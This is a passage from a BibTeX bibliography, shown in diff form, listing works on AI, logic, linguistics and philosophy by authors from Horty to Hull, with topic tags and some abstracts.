{Agency and Deontic Logic}, + publisher = {Oxford University Press}, + year = {2001}, + address = {Oxford}, + ISBN = {0195134613}, + topic = {deontic-logic;practical-reasoning; + ability;atit;foundations-of-decision-theory;} + } + +@article{ horty-pollack:2001a, + author = {John F. Horty and Martha E. Pollack}, + title = {Evaluating New Options in the Context of Existing Plans}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {127}, + number = {2}, + pages = {199--220}, + topic = {practical-reasoning;plan-maintenance;limited-rationality;} + } + +@article{ horty:2002a, + author = {John F. Horty}, + title = {Skepticism and Floating Conclusions}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {135}, + number = {1--2}, + pages = {55--72}, + topic = {nonmonotonic-logic;inheritance-theory;argumentation; + skepticisml;} + } + +@article{ horvath-turan:2001a, + author = {Tam\'as Horv\'ath and Gy\"orgy Tur\'an}, + title = {Learning Logic Programs with Structured Background Knowledge}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {128}, + number = {1--2}, + pages = {31--97}, + topic = {rule-learning;} + } + +@techreport{ horvitz:1986a, + author = {Eric J. Horvitz}, + title = {Toward a Science of Expert Systems}, + institution = {Medical Computer Science Group, Stanford University}, + number = {KSL--86--75}, + year = {1986}, + address = {Stanford, California}, + topic = {expert-systems;} + } + +@techreport{ horvitz:1987a, + author = {Eric J. Horvitz}, + title = {A Multivariate Utility Approach to Inference + Understandability and Explanation}, + institution = {Medical Computer Science Group, Stanford University}, + number = {KSL--87--28}, + year = {1987}, + address = {Stanford, California}, + topic = {multiattribute-utility;decision-theoretic-reasoning;} + } + +@techreport{ horvitz:1987b1, + author = {Eric J. Horvitz}, + title = {Reasoning about Beliefs and Actions Under Computational + Resource Constraints}, + institution = {Knowledge Systems Laboratory, Stanford University}, + number = {KSL--87--29}, + year = {1987}, + address = {Stanford, California}, + topic = {resource-limited-reasoning;} + } + +@incollection{ horvitz:1987b2, + author = {Eric J. Horvitz}, + title = {Reasoning about Beliefs and Actions Under Computational + Resource Constraints}, + booktitle = {Uncertainty in Artificial Intelligence~5}, + year = {1990}, + pages = {301--324}, + publisher = {Elsevier Science Publishers B.V.}, + address = {North Holland}, + editor = {M. Henrion and R.D. Shachter and L.N. Kanal and J.F. Lemmer}, + topic = {resource-limited-reasoning;} +} + +@techreport{ horvitz-etal:1988a, + author = {Eric J. Horvitz}, + title = {Reasoning under Varying and Uncertain Resource + Constraints}, + institution = {Knowledge Systems Laboratory, Stanford University}, + number = {KSL--88--35}, + year = {1988}, + address = {Stanford, California}, + topic = {resource-limited-reasoning;} + } + +@techreport{ horvitz-etal:1988b, + author = {Eric J. Horvitz and Gregory F. Cooper and David E. + Heckerman}, + title = {Reflection and Action under Scarce Resources: Theoretical + Principles and Empirical Study}, + institution = {Knowledge Systems Laboratory, Stanford University}, + number = {KSL--89--1}, + year = {1988}, + address = {Stanford, California}, + topic = {resource-limited-reasoning;} + } + +@techreport{ horvitz-etal:1989a, + author = {Eric J. Horvitz and David E. Heckerman and Keung C. Ng + and Bharat N. Nathwani}, + title = {Heuristic Abstraction in the Decision-Theoretic + Pathfinder System}, + institution = {Knowledge Systems Laboratory, Stanford University}, + number = {KSL--89--24}, + year = {1989}, + address = {Stanford, California}, + topic = {diagnosis;decision-theoretic-reasoning;abstraction;} + } + +@book{ horvitz:1996a, + editor = {Eric J. Horvitz}, + title = {Uncertainty in Artificial Intelligence. Proceedings of the + Twelfth Conference (1996)}, + publisher = {Morgan Kaufmann Publishers}, + year = {1996}, + address = {San Francisco}, + topic = {reasoning-about-uncertainty;} + } + +@article{ horvitz:2001a, + author = {Eric J. Horvitz}, + title = {Principles and Applications of Continual Computation}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {126}, + number = {1--2}, + pages = {159--196}, + topic = {bounded-rationality;metareasoning;} + } + +@article{ horvitz-zilberstein:2001a, + author = {Eric J. Horvitz and Shlomo Zilberstein}, + title = {Computational Resources under Bounded Resources (Editorial)}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {126}, + number = {1--2}, + pages = {1--4}, + topic = {resource-bounded-reasoning;} + } + +@book{ horwich:1990a, + author = {Paul Horwich}, + title = {Truth}, + publisher = {Basil Blackwell Publishers}, + year = {1990}, + address = {Oxford}, + topic = {truth;philosophy-of-language;} + } + +@article{ horwich:1997a, + author = {Paul Horwich}, + title = {Implicit Definition, Analytic Truth, and Apriori Knowledge}, + journal = {No\^us}, + year = {1997}, + volume = {31}, + number = {4}, + pages = {423--440}, + topic = {definition;analyticity;a-priori;} + } + +@article{ horwich:1997b, + author = {Paul Horwich}, + title = {The Composition of Meanings}, + journal = {The Philosophical Review}, + year = {1997}, + volume = {106}, + number = {4}, + pages = {503--532}, + topic = {foundations-of-semantics;compositionality;} + } + +@book{ horwich:1998a, + author = {Paul Horwich}, + title = {Meaning}, + publisher = {Oxford University Press}, + year = {1998}, + address = {Oxford}, + ISBN = {0198237286 (pbk)}, + xref = {Review: sidner_t:2001a.}, + topic = {foundations-of-semantics;philosophy-of-language;} + } + +@incollection{ horwich:2000a, + author = {Paul Horwich}, + title = {Steven {S}chiffer's Theory of Vagueness}, + booktitle = {Skepticism}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {Ernest Sosa and Enrique Villanueva}, + pages = {271--281}, + address = {Oxford}, + topic = {vagueness;sorites-paradox;} + } + +@article{ horwitz-zilberstein:2001a, + author = {Eric J. Horwitz and Shlomo Zilberstein}, + title = {Computational Tradeoffs under Bounded Resources (Editorial)}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {126}, + number = {1--2}, + pages = {1--4}, + topic = {resource-limited-reasoning;} + } + +@article{ hossain-ray:1997a, + author = {Abul Hossain and Kumar S. Ray}, + title = {An Extension of {QSIM} with Qualitative Curvature}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {96}, + number = {2}, + pages = {303--350}, + topic = {qualitative-simulation;} + } + +@article{ hou:1994a, + author = {Aimin Hou}, + title = {A Theory of Measurement in Diagnosis from First + Principles}, + journal = {Artificial Intelligence}, + year = {1994}, + volume = {65}, + number = {2}, + pages = {281--328}, + acontentnote = {Abstract: + Reiter and de Kleer have independently developed a theory of + diagnosis from first principles. Reiter's approach to computing + all diagnoses for a given faulty system is based upon the + computation of all minimal hitting sets for the collection of + conflict sets for (SD,COMPONENTS,OBS). Unfortunately, his theory + does not include a theory of measurement. De Kleer and Williams + have developed GDE-general diagnostic engine. Their procedure + computes all minimal conflict sets resulting from a measurement + before discriminating the candidate space. However, they do not + provide a formal justification for their theory. + We propose a general theory of measurement in diagnosis and + provide a formal justification for our theory. Several novel + contributions make up the central focus of this paper. First, + this work provides an efficient incremental method for computing + new diagnoses given a new measurement, based on the previous + diagnoses predicting the opposite. Second, this work defines + the concepts of conflict set resulting from a measurement, + equivalence classes and homogeneous diagnoses as the basis of + the method. Finally, this work leads to a procedure for + computing all diagnoses and discriminating among competing + diagnoses resulting from a measurement.}, + topic = {diagnosis;} + } + +@phdthesis{ houghton:1986a, + author = {George Houghton}, + title = {The Production of Language in Dialogue: A + Computational Model}, + year = {1986}, + school = {University of Sussex}, + topic = {discourse;nl-generation;} + } + +@article{ householder:1973a, + author = {F.W. Householder}, + title = {On Arguments from Asterisks}, + journal = {Foundations of Language}, + year = {1973}, + volume = {10}, + number = {3}, + pages = {365--376}, + missinginfo = {A's 1st name}, + topic = {linguistics-methodology;} + } + +@unpublished{ hovav-levin:1996a, + author = {Malka {Rappaport Hovav} and Beth C. Levin}, + title = {Building Verb meanings}, + year = {1996}, + note = {Unpublished manuscript, Bar Ilan University and + Northwestern University.}, + topic = {lexical-semantics;} + } + +@inproceedings{ hovy:1988a, + author = {Eduard H. Hovy}, + title = {Two Types of Planning in Language Generation}, + booktitle = {Proceedings of the Twenty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics}, + year = {1988}, + pages = {179--186}, + missinginfo = {editor}, + topic = {discourse-planning;nl-generation;pragmatics;} +} + +@inproceedings{ hovy:1988b, + author = {Eduard H. Hovy}, + title = {Planning Coherent Multisentential Text}, + booktitle = {Proceedings of the Twenty-Eighth Annual Meeting of the + Association for Computational Linguistics}, + year = {1988}, + editor = {Robert C. Berwick}, + pages = {163--169}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {discourse-generation;coherence;pragmatics;} + } + +@article{ hovy:1990a, + author = {Eduard H. Hovy}, + title = {Pragmatics and Natural Language Generation.}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {43}, + number = {2}, + pages = {153--198}, + topic = {discourse-planning;nl-generation; + discourse;pragmatics;} +} + +@incollection{ hovy:1990b, + author = {Eduard H. Hovy}, + title = {Unresolved Issues in Paragraph Planning}, + booktitle = {Current Research in Natural Language Generation}, + year = {1990}, + editor = {Robert Dale and Chris Mellish and Michael Zock}, + publisher = {Academic Press}, + topic = {discourse-planning;nl-generation;pragmatics;} +} + +@incollection{ hovy:1991a, + author = {Eduard H. Hovy}, + title = {Approaches to the Planning of Coherent Text}, + booktitle = {Natural Language Generation in Artificial Intelligence + and Computational Linguistics}, + year = {1991}, + editor = {Cecile L. Paris and William R. Swartout and William C. Mann}, + publisher = {Kluwer Academic Publishers, Boston}, + pages = {83--102}, + topic = {discourse-planning;nl-generation;discourse-coherence; + pragmatics;} +} + +@incollection{ hovy-etal:1992a, + author = {Eduard Hovy and Richard Kittredge and Christian M. + Matthiessen and Sergei Nirenburg and Dieter Roesner}, + title = {Panel Statements on: Multilinguality and Generation}, + booktitle = {Proceedings of the Sixth International Workshop on + Natural Language Generation, Trento, Italy}, + year = {1992}, + editor = {Robert Dale and Eduard Hovy and Dieter Roesner and + Oliviero Stock}, + pages = {277--292}, + publisher = {Springer Verlag. Lecture Notes in Artificial Intelligence}, + topic = {nl-generation;machine-translation;} +} + +@article{ hovy:1993a, + author = {Eduard H. Hovy}, + title = {Automated Discourse Generation Using Discourse Structure + Relations}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {63}, + number = {1--2}, + pages = {341--385}, + topic = {discourse-structure;nl-generation;pragmatics;} + } + +@book{ hovy-scott_d:1996a, + editor = {Eduard H. Hovy and Donia R. Scott}, + title = {Computational and Conversational + Discourse: Burning Issues---An Introductory Account}, + publisher = {Springer-Verlag}, + year = {1996}, + address = {Berlin}, + contentnote = {TC: + 1. Emanual A. Schlegoff, "Issues of Relevance for + Discourse Analysis: Contingency in Action, + Interaction, and Participant Context" + 2. James R. Martin, "Types of Structure: Deconstructing + Notions of Constituency in Clause and Text" + 3. Tsuyoshi Ono and Sandra A. Thompson, "Interaction and + Syntax in the Structure of Conversational Discourse: + Collaboration, Overlap, and Syntactic Dissassociation" + 4. Eva Hajicov\'a, "The Information Structure of the Sentence + and the Coherence of Discourse" + 5. Kathleen Dahlgren, "Discourse Coherence and Segmentation" + 6. Jerry R. Hobbs, "On the Relation between the Informational + and Intentional Perspectives on Discourse" + 7. Rebbecca J. Passonneau and Diane J. Litman, "Empirical + Analysis of Three Dimensions of Spoken Discourse: + Segmentation, Coherence, and Linguistic Devices" + }, + ISBN = {3-540-60948-2}, + xref = {Review: kehler:1998a}, + topic = {discourse;pragmatics;} + } + +@book{ hovy:1998a, + editor = {Eduard Hovy}, + title = {Proceedings of the Ninth International Workshop + on Natural Language Generation}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + address = {New Brunswick, New Jersey}, + contentnote = {TC: + 1. James C. Lester and William H. Bares and Charles + B. Callaway and Stuart G. Towns, "Natural + Language Generation Journeys to Interactive + {3D} Worlds" + 2. John Bateman and Thomas Kamps and J\"org Kleinz and + Klaus Reichenberger, "Communicative Goal-Driven + {NL} Generation and Data-Driven Graphics Generation: + An Architectural Synthesis for Multimedia Page + Generation" + 3. Nancy L. Green and Giuseppe Carenini and Johanna Moore, + "A Principled Representation of Attributive + Descriptions for Generating Integrated Text and + Information Graphics Presentations" + 4. Chris Mellish and Mick O'Donnell and Jon Oberlander + and Alistair Knott, "An Architecture for + Opportunistic Text Generation" + 5. David McDonald, "Controlled Realization of Complex + Objects by Reversing the Output of a Parser" + 6. Stephen Beale and Sergei Nirenburg and Evelyne Viegas + and Leo Wanner, "De-Constraining Text Generation" + 7. Lidia Fraczak and Guy Lapalme and Michael Zock, + "Automatic Generation of Subway Direction: + Salience Gradation as a Factor for Determining + Message and Form" + 8. Edwin Marsi, "Introducing Maximal Variation in Text + Planning for Small Domains" + 9. Regina Barzilay and Daryl McCullough and Owen Rambow + and Jonathan DeChristofaro, "A New Approach to + Expert System Explanations" + 10. Armin Fiedler, "Macroplanning with a Cognitive + Architecture for the Adaptive Explanation + of Proofs" + 11. Chris Mellish and Alisdair Knott and Jon Oberlander and + Mick O'Donnell, "Experiments Using Stochastic Search + for Text Planning" + 12. Ralf Klabunde and Martin Jansche, "Abductive Reasoning + for Syntactic Realization" + 13. Daniel Ansari and Graeme Hirst, "Generating Warning + Instructions by Planning Accidents and Injuries" + 14. Brigitte Grote and Manfred Stede, "Discourse Marker + Choice in Sentence Planning" + 15. James Shaw, "Clause Aggregation Using Linguistics + Knowledge" + 16. Ingrid Zukerman and Richard McConachy and Kevin Korb, + "Attention during Argument Generation and Presentation" + 17. Kristina Jokinen and Hideki Tanaka and Akio Yokoo, "Planning + Dialogue Contributions with New Information" + 18. Yael Dahan Netzer and Michael Elhadad, "Generation of + Noun Compounds in {H}ebrew: Can Syntactic Knowledge + be Fully Encapsulated?" + 19. Matthew Stone and Bonnie Webber, "Textual Economy + through Close Coupling of Syntax and Semantics" + 20. Murai Temizsoy and Hyas Ciceki, "A Language-Independent + System for Generating Feature Structures from + Interlingua Representations" + 21. Jan Alexandersson and Peter Poller, "Toward Multilingual + Protocol Generation for Spontaneous Speech Dialogues" + 22. Tilman Becker, "Fully Lexicalized Head-Driven Syntactic + Generation" + 23. Graham Wilcock, "Approaches to Syntactic realization + with {HPSG}" + 24. Christian Matthiessen and Licheng Zeng and Marilyn Cross + and Ichiro Kobayashi and Kazuhiro Teruya and Canzhong + Wu, "The {M}ultex Generator Environment: Application + and Development" + 25. Stephen Busemann and Helmut Horacek, "A Flexible Shallow + Approach to Text Generation" + 26. Irene Langkilde and Kevin Knight, "The Practical Value + of N-Grams in Derivation" + 27. Donia Scott and Richard Power and Roger Evans, + "Generation as a Solution to Its Own Problem" + 28. Michael White and Ted Caldwell, "{EXEMPLARS}: A + Practical, Extensible Framework for Dynamic Text + Generation" + }, + topic = {nl-generation;} + } + +@book{ howard_da:1998a, + editor = {Don A. Howard}, + title = {{PSA}98: Proceedings of the Biennial Meeting of the + Philosophy of Science Association, Part 1: Contributed + Papers}, + publisher = {University of Chicago Press}, + year = {1998}, + address = {Chicago, Illinois}, + topic = {philosophy-of-science;} + } + +@book{ howard_da:2000a, + editor = {Don A. Howard}, + title = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + address = {Newark, Delaware}, + topic = {philosophy-of-science;} + } + +@book{ howard_n:1971a, + author = {Nigel Howard}, + title = {The Paradoxes of Rationality: Theory of Metagames and + Political Behavior}, + publisher = {The {MIT} Press}, + year = {1971}, + address = {Cambridge, Massachusetts}, + contentnote = {One avowed aim of the book (p.2) is "to reconstruct + game theory on a nonquantitative basis"}, + topic = {rationality;game-theory;qualitative-utility;} + } + +@article{ howarth:1998a, + author = {Richard J. Howarth}, + title = {Interpreting a Dynamic and Uncertain World: Task-Based + Control}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {100}, + number = {1--2}, + pages = {5--85}, + topic = {attention;computer-vision;} + } + +@inproceedings{ howe:1992a, + author = {Adele E. Howe}, + title = {Failure Recovery Analysis as a Tool for Plan Debugging}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Computational Considerations in Supporting Incremental + Modification and Reuse}, + year = {1992}, + pages = {25--30}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {A's 1st name.}, + topic = {planning;plan-reuse;} + } + +@article{ howe-cohen_pr:1995a, + author = {Adele E. Howe and Paul R. Cohen}, + title = {Understanding Planner Behavior}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {76}, + number = {1--2}, + pages = {125--166}, + acontentnote = {Abstract: + As planners and their environments become increasingly complex, + planner behavior becomes increasingly difficult to understand. + We often do not understand what causes them to fail, so that we + can debug their failures, and we may not understand what allows + them to succeed, so that we can design the next generation. This + paper describes a partially automated methodology for + understanding planner behavior over long periods of time. The + methodology, called Dependency Interpretation, uses statistical + dependency detection to identify interesting patterns of + behavior in execution traces and interprets the patterns using a + weak model of the planner's interaction with its environment to + explain how the patterns might be caused by the planner. + Dependency Interpretation has been applied to identify possible + causes of plan failures in the Phoenix planner. By analyzing + four sets of execution traces gathered from about 400 runs of + the Phoenix planner, we showed that the statistical dependencies + describe patterns of behavior that are sensitive to the version + of the planner and to increasing temporal separation between + events, and that dependency detection degrades predictably as + the number of available execution traces decreases and as noise + is introduced in the execution traces. Dependency + Interpretation is appropriate when a complete and correct model + of the planner and environment is not available, but execution + traces are available. } , + topic = {planning;experimental-AI;} + } + +@book{ howson-urbach:1993a, + author = {Colin Howson and Peter Urbach}, + title = {Scientific Reasoning: The {B}ayesian Approach}, + publisher = {Open Court}, + year = {1993}, + address = {Chicago}, + ISBN = {0812692349}, + topic = {philosophy-of-science;Bayesian-reasoning;} + } + +@incollection{ howson:1998a, + author = {Colin Howson}, + title = {The {B}ayesian Approach}, + booktitle = {Handbook of Defeasible Reasoning and Uncertainty + Management Systems, Volume 1: Quantified Representation + of Uncertainty and Imprecision}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Dov M. Gabbay and Philippe Smets}, + pages = {111--134}, + address = {Dordrecht}, + topic = {reasoning-about-uncertainty;Bayesian-statistics;} + } + +@article{ hrycej:1990a, + author = {Tomas Hrycej}, + title = {Gibbs Sampling In Bayesian Networks}, + journal = {Artificial Intelligence}, + year = {1990}, + volume = {46}, + number = {3}, + pages = {351--363}, + topic = {Bayesian-networks;} + } + +@article{ hsiang:1985a, + author = {Jieh Hsiang}, + title = {Refutational Theorem Proving Using Term-Rewriting + Systems}, + journal = {Artificial Intelligence}, + year = {1985}, + volume = {25}, + number = {3}, + pages = {255--300}, + topic = {theorem-proving;} + } + +@incollection{ huang_ct:1987a, + author = {C.-T. James Huang}, + title = {Existential Sentences in {C}hinese and (In)definiteness}, + booktitle = {The Representation of (In)definites}, + publisher = {The {MIT} Press}, + year = {1987}, + editor = {Eric Reuland and Alice {ter Meulen}}, + pages = {226--253}, + address = {Cambridge, Massachusetts}, + topic = {(in)definiteness;existential-constructions;Chinese-language;} + } + +@phdthesis{ huang_j:1982a, + author = {J. Huang}, + title = {Logical Relations in {C}hinese and the Theory of + Grammar}, + school = {Department of Linguistics, Massachusetts + Institute of Technology}, + year = {1982}, + type = {Ph.{D}. Dissertation}, + address = {Cambridge, Massachusetts}, + missinginfo = {A's 1st name}, + topic = {LF;nl-semantics;Chinese-language;} + } + +@article{ huang_t-russell:1998a, + author = {Timothy Huang and Stuart Russell}, + title = {Object Identification: A {B}ayesian Analysis + with Application to Traffic Surveillance}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {77--93}, + topic = {object-identification;probabilistic-reasoning;} + } + +@book{ huang_xd-etal:1990a, + author = {X. D. Huang and Y. Ariki and M. A. Jack}, + title = {Hidden Markov Models for Speech Recognition}, + publisher = {Edinburgh University Press}, + year = {1990}, + address = {Edinburgh}, + topic = {speech-recognition;hidden-Markov-models;} + } + +@inproceedings{ huang_xm-etal:1991a, + author = {Xueming Huang and Gordon I. McCalla and Eric Neufeld}, + title = {Using Attention in Belief Revision}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathleen McKeown}, + pages = {275--280}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {belief-revision;relevance;} + } + +@techreport{ huang_xr:1991a, + author = {Xiaorong Huang}, + title = {An Extensible Natural Calculus for Argument Presentation}, + institution = {Fachbereich Informatik, Universit\"at Kaiserslautern}, + number = {SR--91--3}, + year = {1990}, + address = {D--6750 Kaiserslautern}, + topic = {theorem-proving;argumentation;nl-generation-from-proofs;} + } + +@inproceedings{ huang_xr:1997a, + author = {Xiaorong Huang}, + title = {Planning reference Choices for Argumentative Texts}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {190--197}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {nl-generation;referring-expressions;argumentation;} + } + +@techreport{ huang_z:1989a, + author = {Zhisheng Huang}, + title = {Dependency of Belief in Distributed Systems}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--89--09}, + year = {1989}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {epistemic-logic;belief;distributed-systems;} + } + +@incollection{ huang_z-kwast:1991a, + author = {Z. Huang and K. Kwast}, + title = {Awareness, Negation and Logical Omniscience}, + booktitle = {Logics in {AI}, Proceedings {JELIA}'90}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Jan {van Eijk}}, + series = {Lecture Notes in Computer Science}, + volume = {478}, + pages = {282--300}, + address = {Berlin}, + missinginfo = {A's 1st name, E's 1st name}, + topic = {hyperintensionality;awareness;epistemic-logic;} + } + +@techreport{ huang_z-vanemdeboas:1991a, + author = {Zhisheng Huang and Peter {van Emde Boas}}, + title = {Belief Dependence, Revision and Persistence}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--91--06}, + year = {1991}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {belief-revision;} + } + +@techreport{ huang_z-vanemdeboas:1991b, + author = {Zhisheng Huang and Peter {van Emde Boas}}, + title = {The {S}choenmaker's Paradox: Its Solution in a Belief Dependence + Framework}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--91--05}, + year = {1991}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {belief-revision;} + } + +@incollection{ huang_z-vanemdeboas:1994a, + author = {Zhisheng Huang and Peter {van Emde Boas}}, + title = {Information Acquisition from Multi-Agent Resources}, + booktitle = {Theoretical Aspects of Reasoning about Knowledge: + Proceedings of the Fifth Conference ({TARK} 1994)}, + publisher = {Morgan Kaufmann}, + year = {1994}, + editor = {Ronald Fagin}, + pages = {65--79}, + address = {San Francisco}, + topic = {belief-acquisition;epistemic-logic;} + } + +@article{ huang_z-etal:1996a, + author = {Zhisheng Huang and Michael Masuch and L\'asl/'o P\'olos}, + title = {{ALX}, an Action Logic for Agents with Bounded Rationality}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {82}, + number = {1--2}, + pages = {75--127}, + topic = {action-formalisms;conditionals;limited-rationality;} + } + +@article{ huberman-hogg:1987a, + author = {Bernardo A. Huberman and Tad Hogg}, + title = {Phase Transitions in Artificial Intelligence Systems}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {33}, + number = {3}, + pages = {155--171}, + topic = {computational-phase-transitions;} + } + +@article{ hubin:1996a, + author = {Donald C. Hubin}, + title = {Hypothetical Motivation}, + journal = {No\^us}, + year = {1996}, + volume = {30}, + number = {1}, + pages = {31--54}, + topic = {motivation;practical-reasoning;} + } + +@article{ hubner-etal:2000a, + author = {Andr\'e H\"ubner and Mario Lenz and Roman Borch + and Michael Posthoff}, + title = {Last-Minute Travel Application}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {4}, + pages = {58--62}, + topic = {case-based-reasoning;} + } + +@article{ hudson_ra:1975a, + author = {Richard A. Hudson}, + title = {The Meaning of Questions}, + journal = {Language}, + year = {1975}, + volume = {51}, + number = {1}, + pages = {1--31}, + topic = {interrogatives;speech-acts;} + } + +@book{ hudson_ra:1995a, + author = {Richard A. Hudson}, + title = {Word Meaning}, + publisher = {Routledge}, + year = {1995}, + address = {London}, + topic = {lexical-semantics;} + } + +@incollection{ hudsondzmura:1997a, + author = {Susan Hudson-D'Zmura}, + title = {Control and Event Structure: The View from the Center}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {71--88}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics; + discourse-structure;lexical-semantics;centering;} + } + +@incollection{ hudsondzmura-tannenhaus:1997a, + author = {Susan Hudson-D'Zmura and Michael K. Tanenhaus}, + title = {Assigning Antecedents to Ambiguous Pronouns: The Role of + the Center of Attention as the Default Assignment}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {199--226}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics;attention;centering;} + } + +@article{ huemer:2000a, + author = {Michael Huemer}, + title = {Van {I}nwagen's Consequence Argument}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {109}, + number = {4}, + pages = {525--544}, + topic = {freedom;volition;} + } + +@book{ huet-plotkin:1991a, + editor = {G\'irard Huet and Gerald Plotkin}, + title = {Logical Frameworks}, + publisher = {Cambridge University Press}, + year = {1991}, + address = {Cambridge}, + ISBN = {0521413001}, + topic = {logic-programming;} + } + +@article{ hugel-etal:2000a, + author = {Vincent Hugel and Patrick Bonnin and Pierre Blazevic}, + title = {Using Reactive and Adaptive Behaviors to Play Soccer}, + journal = {The {AI} Magazine}, + year = {2000}, + volume = {21}, + number = {3}, + pages = {53--59}, + topic = {RoboCup;robotics;minimalist-robotics;} + } + +@article{ huggett:1999a, + author = {Nick Huggett}, + title = {Atomic Metaphysics}, + journal = {Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {1}, + pages = {5--24}, + topic = {philosophy-of-physics;foundations-of-quantum-mechanics;} + } + +@book{ hughes_ge-cresswell_mj:1968a, + author = {Max J. Cresswell and G.E. Hughes}, + title = {An Introduction to Modal Logic}, + publisher = {Methuen}, + year = {1968}, + address = {London}, + xref = {Superceded by hughes_ge-cresswell_mj:1996a}, + topic = {modal-logic;} + } + +@book{ hughes_ge-cresswell_mj:1968b, + author = {Max J. Cresswell and G.E. Hughes}, + title = {A Companion to Modal Logic}, + publisher = {Methuen}, + year = {1984}, + address = {London}, + topic = {modal-logic;} + } + +@book{ hughes_ge-cresswell_mj:1996a, + author = {Max J. Cresswell and G.E. Hughes}, + title = {A New Introduction to Modal Logic}, + publisher = {Routledge}, + year = {1996}, + address = {London}, + xref = {Review: crivelli-williamson_t:1998a.}, + topic = {modal-logic;} + } + +@article{ hughes_j:1984a, + author = {Justin Hughes}, + title = {Group Speech Acts}, + journal = {Linguistics and Philosophy}, + year = {1984}, + volume = {7}, + number = {4}, + pages = {379--395}, + topic = {speech-acts;group-action;} + } + +@article{ hughes_rig:1985a, + author = {R.I.G. Hughes}, + title = {Semantic Alternatives in Partial {B}oolean Quantum Logic}, + journal = {Journal of Philosophical Logic}, + year = {1985}, + volume = {14}, + number = {4}, + pages = {411--446}, + topic = {quantum-logic;} + } + +@article{ hugly-sayward:1977a, + author = {Philip Hugly and Charles Sayward}, + title = {Theories of Truth and Semantical Primitives}, + journal = {Journal of Philosophical Logic}, + year = {1977}, + volume = {6}, + number = {3}, + pages = {349--35}, + contentnote = {This is a comment on cummins_r:1975a.}, + topic = {logical-form;truth-definitions;Davidson-semantics;} + } + +@article{ hugly-sayward:1979a, + author = {Philip Hugly and Charles Sayward}, + title = {A Problem about Conversational Implicature}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {1}, + pages = {19--25}, + topic = {implicature;pragmatics;} + } + +@article{ hugly-sayward:1990a, + author = {Philip Hugly and Charles Sayward}, + title = {Moral Relativism and Deontic Logic}, + journal = {Synth\'ese}, + year = {1990}, + volume = {85}, + number = {1}, + pages = {139--152}, + topic = {deontic-logic;ethics;} + } + +@article{ hugly-sayward:1993a, + author = {Philip Hugly and Charles Sayward}, + title = {Theories of Truth and Truth-Value Gaps}, + journal = {Linguistics and Philosophy}, + year = {1993}, + volume = {16}, + number = {6}, + pages = {551--559}, + topic = {truth;Donald-Davidson;truth-value-gaps;} + } + +@book{ hugly-sayward:1996a, + editor = {Philip Hugly and Charles Sayward}, + title = {Intensionality and Truth: An Essay on the Philosophy of + {A}.{N}. {P}rior}, + publisher = {Kluwer Academic Publishers}, + year = {1996}, + address = {Dordrecht}, + topic = {propositional-attitudes;intensionality;truth;} + } + +@article{ hukari-levine:1990a, + author = {Thomas Hukari and Robert Levine}, + title = {Jacobson on {GKPS}: A Rejoinder}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {3}, + pages = {363--381}, + xref = {Commentary on jacobson:1987a.}, + topic = {GPSG;} + } + +@article{ hukari-levine_r:1990a, + author = {Thomas Hukari and Robert Levine}, + title = {Jacobson on {GKPS}: A Rejoinder}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {3}, + pages = {363--381}, + xref = {Commentary on jacobson:1987a.}, + topic = {GPSG;} + } + +@incollection{ hull:1975a, + author = {R.D. Hull}, + title = {A Semantics for Superficial and Embedded Questions}, + booktitle = {Formal 